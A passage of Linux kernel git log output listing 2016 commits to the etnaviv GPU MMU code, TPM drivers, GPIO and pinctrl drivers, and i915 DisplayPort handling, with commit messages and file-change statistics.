23:53:59 2016 +0200 drm/etnaviv: add function to construct MMUv2 init buffer Both the safe/scratch address and the master TLB address are per pipe with the CPU mapped registers not properly propagating to the different translation units. The only way to correctly configure all translation units is to have a command stream snipped executed by the FE, before any other execution can start. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_buffer.c | 34 ++++++++++++++++++++++++++++++++ drivers/gpu/drm/etnaviv/etnaviv_drv.h | 1 + 2 files changed, 35 insertions(+) commit e68f270f210776eed956884d1fc3ce1aab0912a3 Author: Lucas Stach Date: Fri Aug 19 23:49:10 2016 +0200 drm/etnaviv: map cmdbuf through MMU on version 2 With MMUv2 all buffers need to be mapped through the MMU once it is enabled. Align the buffer size to 4K, as the MMU is only able to map page aligned buffers. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 4 ++++ drivers/gpu/drm/etnaviv/etnaviv_gpu.h | 2 ++ drivers/gpu/drm/etnaviv/etnaviv_mmu.c | 42 ++++++++++++++++++++++++++++++++++- drivers/gpu/drm/etnaviv/etnaviv_mmu.h | 2 ++ 4 files changed, 49 insertions(+), 1 deletion(-) commit 90969c9aa97700663d03c51031652e131df3bd9b Author: Lucas Stach Date: Fri Aug 19 23:43:40 2016 +0200 drm/etnaviv: split out iova search and MMU reaping logic With MMUv2 the command buffers need to be mapped through the MMU. Split out the iova search and MMU reaping logic so it can be reused for the cmdbuf mapping, where no GEM object is involved. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_mmu.c | 62 +++++++++++++++++++++-------------- 1 file changed, 37 insertions(+), 25 deletions(-) commit 229855b650bd0716a3d9e82a68ebedee20a35020 Author: Lucas Stach Date: Wed Aug 17 15:27:52 2016 +0200 drm/etnaviv: split out FE start Split out into a new externally visible function, as the IOMMUv2 code needs this functionality, too. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 15 ++++++++++----- drivers/gpu/drm/etnaviv/etnaviv_gpu.h | 1 + 2 files changed, 11 insertions(+), 5 deletions(-) commit b88163e36c0256e182447eecffba5f4b2a3f413e Author: Lucas Stach Date: Wed Aug 17 15:16:57 2016 +0200 drm/etnaviv: split out wait for gpu idle Split out into a new externally visible function, as the IOMMUv2 code needs this functionality, too. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 40 +++++++++++++++++++---------------- drivers/gpu/drm/etnaviv/etnaviv_gpu.h | 1 + 2 files changed, 23 insertions(+), 18 deletions(-) commit e07c0db5e84a5f1a16af8567d5fdde2ca6d2c80e Author: Lucas Stach Date: Wed Aug 17 14:57:51 2016 +0200 drm/etnaviv: move gpu_va() to etnaviv mmu The GPU virtual address for the command buffers differs depending on the IOMMU version. Move the calculation of the iova into etnaviv mmu, to enable proper dispatch. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_buffer.c | 16 ++++++---------- drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 2 +- drivers/gpu/drm/etnaviv/etnaviv_mmu.c | 6 ++++++ drivers/gpu/drm/etnaviv/etnaviv_mmu.h | 3 +++ 4 files changed, 16 insertions(+), 11 deletions(-) commit 47cf62b8e0cc19b7cf7d77f218cac0fac36289f0 Author: Lucas Stach Date: Tue Aug 16 12:12:12 2016 +0200 drm/etnaviv: remove unused iommu_v2 header This has been there from the original merge, but has never been used. Get rid of it. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_iommu_v2.h | 25 ------------------------- 1 file changed, 25 deletions(-) commit dd34bb9655176873dc6fdfc612c71f7c2f078caa Author: Lucas Stach Date: Tue Aug 16 12:09:08 2016 +0200 drm/etnaviv: move IOMMU domain allocation into etnaviv MMU The GPU code doesn't need to deal with the IOMMU directly, instead it can all be hidden behind the etnaviv mmu interface. Move the last remaining part into etnaviv mmu. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 33 +++--------------------------- drivers/gpu/drm/etnaviv/etnaviv_iommu.c | 2 +- drivers/gpu/drm/etnaviv/etnaviv_iommu.h | 4 ++-- drivers/gpu/drm/etnaviv/etnaviv_iommu_v2.c | 2 +- drivers/gpu/drm/etnaviv/etnaviv_mmu.c | 28 ++++++++++++++++++------- drivers/gpu/drm/etnaviv/etnaviv_mmu.h | 3 +-- 6 files changed, 29 insertions(+), 43 deletions(-) commit e095c8feb8feed9e2c8ef76f8ec8491f46985e24 Author: Lucas Stach Date: Tue Aug 16 11:54:51 2016 +0200 drm/etnaviv: indirect IOMMU restore through etnaviv MMU So we can call the v2 restore code once it is there. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 2 +- drivers/gpu/drm/etnaviv/etnaviv_mmu.c | 9 +++++++++ drivers/gpu/drm/etnaviv/etnaviv_mmu.h | 1 + 3 files changed, 11 insertions(+), 1 deletion(-) commit 99f861bc83ab87b9ab3a404e7d7befe3837220a5 Author: Lucas Stach Date: Tue Aug 16 11:48:49 2016 +0200 drm/etnaviv: move linear window setup into etnaviv_iommuv1_restore It is only relevant for the V1 MMU, so we should not do this in the common code. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 9 +-------- drivers/gpu/drm/etnaviv/etnaviv_iommu.c | 7 +++++++ 2 files changed, 8 insertions(+), 8 deletions(-) commit 99aeeb7c58b24121e7951ef239ccf0626d4d566b Author: Lucas Stach Date: Tue Aug 16 11:31:09 2016 +0200 drm/etnaviv: rename etnaviv_iommu_domain_restore to etnaviv_iommuv1_restore This function has external visibility and only handles the Vivant IOMMU version 1. Rename to make this more clear and allow a clear separation of the different IOMMU versions. Also drop the domain parameter, as we can infer it from the GPU we are dealing with. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 2 +- drivers/gpu/drm/etnaviv/etnaviv_iommu.c | 6 +++--- drivers/gpu/drm/etnaviv/etnaviv_iommu.h | 3 +-- 3 files changed, 5 insertions(+), 6 deletions(-) commit acfee0ec03712a8ff37daae13e2c4b3f3f45336c Author: Lucas Stach Date: Wed Aug 17 16:19:53 2016 +0200 drm/etnaviv: only check if the cmdbuf is inside the linear window on MMUv1 There is no linear window on MMUv2 and the FE can access the full 4GB address space either directly (as long as the MMU isn't configured) or through the MMU, once it is up. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 1486b1cb80cb8676d573a27ced5423658fdd32de Author: Lucas Stach Date: Wed Aug 17 16:15:25 2016 +0200 drm/etnaviv: only try to use the linear window on MMUv1 As the comment above the code states, the linear window is only available on MMUv1. Don't try to use it on MMUv2. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_mmu.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9c7310c05d9e6a8d12717ced20ac62f0e4a696aa Author: Lucas Stach Date: Mon Aug 22 15:26:19 2016 +0200 drm/etnaviv: fold various clock enable/disable functions into top ones The driver doesn't ever enable individual clocks alone, so there is no need to scatter the clock enable/disable sequences through multiple functions. Fold them into the top one. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 103 ++++++++++------------------------ 1 file changed, 30 insertions(+), 73 deletions(-) commit dc227890d2d877877e2579d1f16a5286eae6d60e Author: Fabio Estevam Date: Sun Aug 21 19:32:15 2016 -0300 drm/etnaviv: remove unneeded variable initialization There is no need to initialize variable 'err' with 0 because it will be properly assigned later on. Signed-off-by: Fabio Estevam drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit db60eda32fa74120efa4ebc2f86d306a7a87fcd7 Author: Fabio Estevam Date: Sun Aug 21 19:32:14 2016 -0300 drm/etnaviv: remove unneeded 'fail' label In the etnaviv_gpu_platform_probe() error path the 'fail' label is used to just return the error code. This can be simplified by returning the error code immediately, so get rid of the unneeded 'fail' label. Signed-off-by: Fabio Estevam drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit 9e59eea66f9601b3d497abcbb5010a760567b7cf Author: Fabio Estevam Date: Sun Aug 21 19:32:13 2016 -0300 drm/etnaviv: check for errors when enabling clocks clk_prepare_enable() may fail, so we should better check for its return value and propagate it in the case of failure. Signed-off-by: Fabio Estevam drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 30 ++++++++++++++++++++++++------ 1 file changed, 24 insertions(+), 6 deletions(-) commit ebfd7532e985818a327906e011f3e43c8ddfdd74 Author: Jarkko Sakkinen Date: Mon Sep 12 13:43:30 2016 +0300 tpm: add check for minimum buffer size in tpm_transmit() tpm_transmit() does not check that bufsiz is at least TPM_HEADER_SIZE before accessing data. This commit adds this check and returns -EINVAL if it fails. Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm-interface.c | 3 +++ 1 file changed, 3 insertions(+) commit 0014777f989b54193bec95a0a153fa4a139183c7 Author: Julia Lawall Date: Sun Sep 11 15:05:52 2016 +0200 tpm: constify TPM 1.x header structures Constify TPM 1.x header structures in order to move them to rodata section as they are meant to be never changed during runtime. Signed-off-by: Julia Lawall Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm-interface.c | 10 +++++----- drivers/char/tpm/tpm-sysfs.c | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) commit 64fba530e9ef81469b6dc65bf8e00ed9e90192c7 Author: Tomas Winkler Date: Mon Sep 12 02:03:55 2016 +0300 tpm/tpm_crb: fix the over 80 characters checkpatch warring Because of the line break in the debug print the chackpatch is not silent on 80 characters limitation. The easiest fix is to straighten the lines, it's also more readable. WARNING: line over 80 characters + FW_BUG "TPM2 ACPI table does not define a memory resource\n"); Signed-off-by: Tomas Winkler Reviewed-by: Jarkko Sakkinen Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 47de683afa7d1b9638a7d6817826d0cdc72b0e1a Author: Tomas Winkler Date: Mon Sep 12 14:27:09 2016 +0300 tpm/tpm_crb: drop useless cpu_to_le32 when writing to registers Don't apply endianity conversion when writing to the registers this is already handled by the system. Signed-off-by: Tomas Winkler Reviewed-by: Jarkko Sakkinen Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit aa77ea0e43dc5bb0c1dcc9bad76afaa7faca8cab Author: Tomas Winkler Date: Mon Sep 12 13:52:10 2016 +0300 tpm/tpm_crb: cache cmd_size register value. Instead of expensive register access on retrieving cmd_size on each send, save the value during initialization in the private context. The value doesn't change. Signed-off-by: Tomas Winkler Reviewed-by: Jarkko Sakkinen Tested-by: Jarkko Sakkinen Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 71801310b12b65b1fd3285cc899ecbf52c4f8ff3 Author: Tomas Winkler Date: Mon Sep 12 02:03:52 2016 +0300 tmp/tpm_crb: drop include to platform_device The platform device is not used in this driver, drop the include to linux/platform_device.h Signed-off-by: Tomas Winkler Reviewed-by: Jarkko Sakkinen Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 1 - 1 file changed, 1 deletion(-) commit 56af322156dbe93b3fdc80ac4dff1fc93cb44825 Author: Tomas Winkler Date: Thu Sep 8 02:01:02 2016 +0300 tpm/tpm_tis: remove unused itpm variable Fixes the warning: drivers/char/tpm/tpm_tis_core.c:443:7: warning: variable ‘itpm’ set but not used [-Wunused-but-set-variable] bool itpm; ^~~~ Signed-off-by: Tomas Winkler Acked-by: Jarkko Sakkinen Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_tis_core.c | 5 ----- 1 file changed, 5 deletions(-) commit f39a9e97d77cae603e70c78ac82c181f93455fd1 Author: Jarkko Sakkinen Date: Fri Sep 2 22:34:20 2016 +0300 tpm_crb: fix incorrect values of cmdReady and goIdle bits CRB_CTRL_CMD_READY and CRB_CTRL_GO_IDLE have incorrect values. Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7fd10d61852d1947005c05575849f21bc32f0acf Author: Jarkko Sakkinen Date: Fri Sep 2 22:34:19 2016 +0300 tpm_crb: refine the naming of constants Renamed CRB protocol specific constants to match the TCG PC Client Platform TPM Profile (PTP) Specification and driver status constants to be explicit that they are driver specific. Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 35fec6f1eb27cd62998a98c3f1b0ecf0578f55e2 Author: Jarkko Sakkinen Date: Fri Sep 2 22:34:18 2016 +0300 tpm_crb: remove wmb()'s wmb()'s are not needed as iowrite32() is used. Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 3 --- 1 file changed, 3 deletions(-) commit 72fd50e14e46dc0edf360631bdece87c2f066a97 Author: Jarkko Sakkinen Date: Fri Sep 2 22:34:17 2016 +0300 tpm_crb: fix crb_req_canceled behavior The req_canceled() callback is used by tpm_transmit() periodically to check whether the request has been canceled while it is receiving a response from the TPM. The TPM_CRB_CTRL_CANCEL register was cleared already in the crb_cancel callback, which has two consequences: * Cancel might not happen. * req_canceled() always returns zero. A better place to clear the register is when starting to send a new command. The behavior of TPM_CRB_CTRL_CANCEL is described in the section 5.5.3.6 of the PTP specification. CC: stable@vger.kernel.org Fixes: 30fc8d138e91 ("tpm: TPM 2.0 CRB Interface") Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 0c541332231e7957f23013e37f3720db33e7804c Author: Jarkko Sakkinen Date: Fri Jun 17 13:12:20 2016 +0200 tpm: use tpm_pcr_read_dev() in tpm_do_selftest() Instead of a ad-hoc protocol message construction it is better to call tpm_pcr_read_dev(). Signed-off-by: Jarkko Sakkinen Reviewed-by: Jason Gunthorpe drivers/char/tpm/tpm-interface.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit ae7e190a3e3498551a1e222eaa84c0ec7e5b41c7 Author: Jarkko Sakkinen Date: Fri Jun 17 10:20:14 2016 +0200 tpm: use tpm_transmit_cmd() in tpm2_probe() It is better to tpm_transmit_cmd() in tpm2_probe() in order to get consistent command handling throughout the subsystem. Signed-off-by: Jarkko Sakkinen Reviewed-by: Jason Gunthorpe drivers/char/tpm/tpm2-cmd.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit eb5854e764b91a71106f159a4ac264ffed1eebf2 Author: Jarkko Sakkinen Date: Sun Jun 12 16:42:09 2016 +0300 tpm: replace tpm_gen_interrupt() with tpm_tis_gen_interrupt() Since tpm_gen_interrupt() is only used in tpm_tis_core.c this commit replaces it with an internal tpm_tis_gen_interrupt(). The semantics also changed in a way that on a system error the driver initialization is failed. Signed-off-by: Jarkko Sakkinen Reviewed-by: Jason Gunthorpe drivers/char/tpm/tpm-interface.c | 16 +--------------- drivers/char/tpm/tpm.h | 2 -- drivers/char/tpm/tpm2-cmd.c | 18 +----------------- drivers/char/tpm/tpm_tis_core.c | 19 +++++++++++++++---- 4 files changed, 17 insertions(+), 38 deletions(-) commit d4abd9565dd6da1ab2a402af77617d32949ed06c Author: Jarkko Sakkinen Date: Sat Jun 25 23:33:09 2016 +0300 tpm: remove unnecessary externs from tpm.h Removed unnecessary externs from tpm.h. Signed-off-by: Jarkko Sakkinen Reviewed-by: Jason Gunthorpe drivers/char/tpm/tpm.h | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) commit 09dd7703753f6fdd68b184de65b720b040dd1721 Author: Jason Gunthorpe Date: Tue Jul 19 14:38:55 2016 -0600 tpm/st33zp24: Remove useless tpm_gen_interrupt This function should only be called as part of an IRQ probing protocol and st33 does not have any code to detect that the IRQ it tries to generate was not generated and disable the IRQ. Since st33 is primarily a DT binding driver it should not be doing IRQ probing anyhow, so let us just delete this useless call. Signed-off-by: Jason Gunthorpe Reviewed-by: Jarkko Sakkinen Signed-off-by: Jarkko Sakkinen drivers/char/tpm/st33zp24/st33zp24.c | 2 -- 1 file changed, 2 deletions(-) commit d4816edfe706497a8525480c1685ceb9871bc118 Author: Jarkko Sakkinen Date: Tue Aug 16 22:00:38 2016 +0300 tpm: fix a race condition in tpm2_unseal_trusted() Unseal and load operations should be done as an atomic operation. This commit introduces unlocked tpm_transmit() so that tpm2_unseal_trusted() can do the locking by itself. Fixes: 0fe5480303a1 ("keys, trusted: seal/unseal with TPM 2.0 chips") Cc: stable@vger.kernel.org Signed-off-by: Jarkko Sakkinen Reviewed-by: Jason Gunthorpe drivers/char/tpm/tpm-dev.c | 2 +- drivers/char/tpm/tpm-interface.c | 51 +++++++++++--------- drivers/char/tpm/tpm-sysfs.c | 2 +- drivers/char/tpm/tpm.h | 12 +++-- drivers/char/tpm/tpm2-cmd.c | 101 +++++++++++++++++++++++++-------------- 5 files changed, 103 insertions(+), 65 deletions(-) commit b7d7b28471072fc23e7b573aef89c14438092223 Author: Jarkko Sakkinen Date: Fri Sep 2 02:36:58 2016 +0300 tpm: invalid self test error message The driver emits invalid self test error message even though the init succeeds. Signed-off-by: Jarkko Sakkinen Fixes: cae8b441fc20 ("tpm: Factor out common startup code") Reviewed-by: James Morris drivers/char/tpm/tpm2-cmd.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 7f8b96570291def5104cec6f68bae09bd55b691a Author: Wei Yongjun Date: Thu Sep 15 01:30:32 2016 +0000 gpio: aspeed: fix return value check in aspeed_gpio_probe() In case of error, the function devm_ioremap_resource() returns ERR_PTR() and never returns NULL. The NULL test in the return value check should be replaced with IS_ERR(). Signed-off-by: Wei Yongjun Acked-by: Joel Stanley Signed-off-by: Linus Walleij drivers/gpio/gpio-aspeed.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit cd1e3b01c7d30ce5e69cbd760e1edbd4d682c30d Author: Jerome Brunet Date: Tue Sep 13 17:12:22 2016 +0200 pinctrl: amlogic: gxbb: add nand pins Add EE domains pins for the NAND flash controller. Even tough we have no driver for the NAND flash controller yet, we need to have these pins in pinctrl as the actual pin are shared with the spifc controller. The bootloader on the S905-P200 setup pinmux for the NAND controller so we need the kernel to properly deactivate this if necessary. Acked-by: Kevin Hilman Signed-off-by: Jerome Brunet Signed-off-by: Linus Walleij drivers/pinctrl/meson/pinctrl-meson-gxbb.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 49cf2f29acab4ab0f14ff0d574cd4d3a76bdce53 Author: Arnd Bergmann Date: Wed Sep 14 12:13:06 2016 +0200 pinctrl: stm32: add IRQ_DOMAIN_HIERARCHY dependency The newly added irqchip support for the stm32 pinctrl driver uses hierarchical IRQ domains as provided by the NVIC primary irqchip. This works great for any configuration that may be relevant on stm32, but when doing compile-testing (randconfig), we can enable it without NVIC or any other primary irqchip that enables IRQ_DOMAIN_HIERARCHY: drivers/pinctrl/stm32/pinctrl-stm32.c:212:13: error: 'irq_chip_eoi_parent' undeclared here (not in a function) drivers/pinctrl/stm32/pinctrl-stm32.c:213:20: error: 'irq_chip_mask_parent' undeclared here (not in a function) drivers/pinctrl/stm32/pinctrl-stm32.c:214:20: error: 'irq_chip_unmask_parent' undeclared here (not in a function) drivers/pinctrl/stm32/pinctrl-stm32.c:215:20: error: 'irq_chip_set_type_parent' undeclared here (not in a function) This adds a Kconfig dependency to limit compile-testing to configurations that have IRQ_DOMAIN_HIERARCHY already enabled. It's not obvious whether we should use 'depends on' or 'select' here, I think either one works, with 'depends on' being more intuitive, while 'select' would be less likely to cause dependency loops. Signed-off-by: Arnd Bergmann Fixes: 0eb9f683336d ("pinctrl: Add IRQ support to STM32 gpios") Signed-off-by: Linus Walleij drivers/pinctrl/stm32/Kconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6812f19e17c1ac67774175023824bdcbe9a23674 Author: Jerome Brunet Date: Tue Sep 13 17:12:21 2016 +0200 pinctrl: amlogic: gxbb: add spi nor pins Add EE domains pins for the SPI flash controller Acked-by: Kevin Hilman Signed-off-by: Jerome Brunet Signed-off-by: Linus Walleij drivers/pinctrl/meson/pinctrl-meson-gxbb.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit d47529b2e9fe0ec2eb1f072afad8849f52e385c4 Author: Paul Gortmaker Date: Mon Sep 12 18:16:31 2016 -0400 gpio: don't include module.h in shared driver header Most shared headers in include/linux don't need to know what the internals of a struct module are; all they care about is that it is a struct and hence they may require a pointer to one. The advantage in this is that module.h is including a lot of stuff itself, and an otherwise empty C file that just contains module.h will result in ~750kB from CPP (compared to say 12kB from init.h) So we have approximately 50 instances of "struct module;" in the various include/linux headers already that help us keep module.h out of other headers; here we do the same for gpio. Cc: Linus Walleij Cc: Alexandre Courbot Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij include/linux/gpio/driver.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 39d80072222428aaf73276c6fd66185e6f622bd9 Author: Paul Gortmaker Date: Mon Sep 12 18:16:30 2016 -0400 gpio: wcove: fix implicit assumption module.h is present The Kconfig for this file is: drivers/gpio/Kconfig:config GPIO_WHISKEY_COVE drivers/gpio/Kconfig: tristate "GPIO support for Whiskey Cove PMIC" ...but however it does not include module.h -- it in turn gets it from another header (gpio/driver.h) and we'd like to replace that with a forward delcaration of "struct module;" but if we do, this file will fail to compile. So we fix this first to avoid putting build failures into the bisect commit history. Cc: Ajay Thomas Cc: Bin Gao Cc: Andy Shevchenko Cc: Mika Westerberg Cc: Linus Walleij Cc: Alexandre Courbot Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-wcove.c | 1 + 1 file changed, 1 insertion(+) commit 5f604506f1fdaed63aac645d0c2c6104a2ce7ce8 Author: Paul Gortmaker Date: Mon Sep 12 18:16:29 2016 -0400 gpio: loongson1: fix implicit assumption module.h is present The Kconfig for this file is: drivers/gpio/Kconfig:config GPIO_LOONGSON1 drivers/gpio/Kconfig: tristate "Loongson1 GPIO support" ...but however it does not include module.h -- it in turn gets it from another header (gpio/driver.h) and we'd like to replace that with a forward delcaration of "struct module;" but if we do, this file will fail to compile. So we fix this first to avoid putting build failures into the bisect commit history. Cc: Keguang Zhang Cc: Linus Walleij Cc: Alexandre Courbot Cc: linux-mips@linux-mips.org Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-loongson1.c | 1 + 1 file changed, 1 insertion(+) commit 2034b9dcf56259cb21c93e726266f5c22730d39d Author: Paul Gortmaker Date: Mon Sep 12 18:16:28 2016 -0400 gpio: ath79: fix implicit assumption module.h is present The Kconfig for this file is: drivers/gpio/Kconfig:config GPIO_ATH79 drivers/gpio/Kconfig: tristate "Atheros AR71XX/AR724X/AR913X GPIO support" ...but however it does not include module.h -- it in turn gets it from another header (gpio/driver.h) and we'd like to replace that with a forward delcaration of "struct module;" but if we do, this file will fail to compile. So we fix this first to avoid putting build failures into the bisect commit history. Cc: Linus Walleij Cc: Alexandre Courbot Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-ath79.c | 1 + 1 file changed, 1 insertion(+) commit 7b5409ee92a461b14969ddd2a2e4583b3474de10 Author: Paul Gortmaker Date: Mon Sep 12 18:16:27 2016 -0400 gpio: altera: fix implicit assumption module.h is present The Kconfig for this file is: drivers/gpio/Kconfig:config GPIO_ALTERA drivers/gpio/Kconfig: tristate "Altera GPIO" ...but however it does not include module.h -- it in turn gets it from another header (gpio/driver.h) and we'd like to replace that with a forward delcaration of "struct module;" but if we do, this file will fail to compile. So we fix this first to avoid putting build failures into the bisect commit history. Cc: Linus Walleij Cc: Alexandre Courbot Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-altera.c | 1 + 1 file changed, 1 insertion(+) commit 7de9a6c75be8a529e3531b157913abcc39cb7736 Author: Paul Gortmaker Date: Mon Sep 12 18:16:26 2016 -0400 gpio: ts4800: fix implicit assumption module.h is present The Kconfig for this file is: drivers/gpio/Kconfig:config GPIO_TS4800 drivers/gpio/Kconfig: tristate "TS-4800 DIO blocks and compatibles" ...but however it does not include module.h -- it in turn gets it from another header (gpio/driver.h) and we'd like to replace that with a forward delcaration of "struct module;" but if we do, this file will fail to compile. So we fix this first to avoid putting build failures into the bisect commit history. Cc: Linus Walleij Cc: Alexandre Courbot Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-ts4800.c | 1 + 1 file changed, 1 insertion(+) commit bb411e771b0e2282e214c83a784ef1c5eaa4afea Author: Paul Gortmaker Date: Mon Sep 12 18:16:25 2016 -0400 gpio: sx150x: fix implicit assumption module.h is present This file is currently getting module.h from a global gpio header and it will faii to build once we remove module.h from that. However, the driver is controlled with the following Kconfig: drivers/gpio/Kconfig:config GPIO_SX150X drivers/gpio/Kconfig: bool "Semtech SX150x I2C GPIO expander" and hence the two lines of MODULE_DEVICE_TABLE are no-ops that can simply be deleted. Cc: Linus Walleij Cc: Alexandre Courbot Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-sx150x.c | 2 -- 1 file changed, 2 deletions(-) commit a86e87e8c7653cbdbb61327ee04072638eecafbf Author: Paul Gortmaker Date: Mon Sep 12 18:16:24 2016 -0400 gpio: palmas: fix implicit assumption module.h is present This file is currently getting module.h from a global gpio header and it will fail to build once we remove module.h from that. However, the driver is controlled with the following Kconfig: drivers/gpio/Kconfig:config GPIO_PALMAS drivers/gpio/Kconfig: bool "TI PALMAS series PMICs GPIO" and hence the line of MODULE_DEVICE_TABLE is a no-op that can simply be deleted. In fact it should have been removed in an earlier commit that did demodularization, however the unseen include prevented my build testing from detecting it. Cc: Linus Walleij Cc: Alexandre Courbot Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-palmas.c | 1 - 1 file changed, 1 deletion(-) commit 80209e5f2c42c491ec5f4a63705b4377b407587c Author: Mika Kahola Date: Fri Sep 9 14:10:57 2016 +0300 drm: Add DP branch device info on debugfs Read DisplayPort branch device info from through debugfs interface. v2: use drm_dp_helper routines to collect data v3: cleanup to match the drm_dp_helper.c patches introduced earlier in this series v4: move DP branch device info to function 'intel_dp_branch_device_info()' v5: initial step to move debugging info from intel_dp. to drm_dp_helper.c (Daniel) v6: read hw and sw revision without using specific drm_dp_helper routines v7: indentation fixes (Jim Bride) Signed-off-by: Mika Kahola Reviewed-by: Jim Bride Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-12-git-send-email-mika.kahola@intel.com drivers/gpu/drm/drm_dp_helper.c | 85 +++++++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/i915_debugfs.c | 3 ++ include/drm/drm_dp_helper.h | 2 + 3 files changed, 90 insertions(+) commit f9bb705e65f64710971e50624db5ef1857d9db39 Author: Mika Kahola Date: Fri Sep 9 14:10:56 2016 +0300 drm/i915: Update bits per component for display info DisplayPort branch device may define max supported bits per component. Update display info based on this value if bpc is defined. v2: cleanup to match the drm_dp_helper.c patches introduced earlier in this series v3: Fill bpc for connector's display info in separate drm_dp_helper function (Daniel) v4: remove updating bpc for display info as it may be overridden when parsing EDID. Instead, check bpc for DP branch device during compute_config v5: Indentation fixes (Jim Bride) Signed-off-by: Mika Kahola Reviewed-by: Jim Bride Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-11-git-send-email-mika.kahola@intel.com drivers/gpu/drm/i915/intel_dp.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) commit 70ec064516cc45525f7072f9e57ff780e987f0cd Author: Mika Kahola Date: Fri Sep 9 14:10:55 2016 +0300 drm/i915: Check pixel rate for DP to VGA dongle Filter out a mode that exceeds the max pixel rate setting for DP to VGA dongle. This is defined in DPCD register 0x81 if detailed cap info i.e. info field is 4 bytes long and it is available for DP downstream port. The register defines the pixel rate divided by 8 in MP/s. v2: DPCD read outs and computation moved to drm (Ville, Daniel) v3: Sink pixel rate computation moved to drm_dp_max_sink_dotclock() function (Daniel) v4: Use of drm_dp_helper.c routines to compute max pixel clock (Ville) v5: Use of intel_dp->downstream_ports to read out port capabilities. Code restructuring (Ville) v6: Move DP branch device check to drm_dp_helper.c (Daniel) v7: Cleanup as suggested by Ville Reviewed-by: Jim Bride Signed-off-by: Mika Kahola Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473419458-17080-10-git-send-email-mika.kahola@intel.com drivers/gpu/drm/i915/intel_dp.c | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) commit 1a2724fa94b6308dee87f7851be7ec84a409a538 Author: Mika Kahola Date: Fri Sep 9 14:10:54 2016 +0300 drm/i915: Read DP branch device SW revision SW revision is mandatory field for DisplayPort branch devices. This is defined in DPCD register fields 0x50A and 0x50B. v2: move drm_dp_ds_revision structure to be part of drm_dp_link structure (Daniel) v3: remove dependency to drm_dp_helper but instead parse DPCD and print SW revision info to dmesg (Ville) v4: commit message fix (Jim Bride) 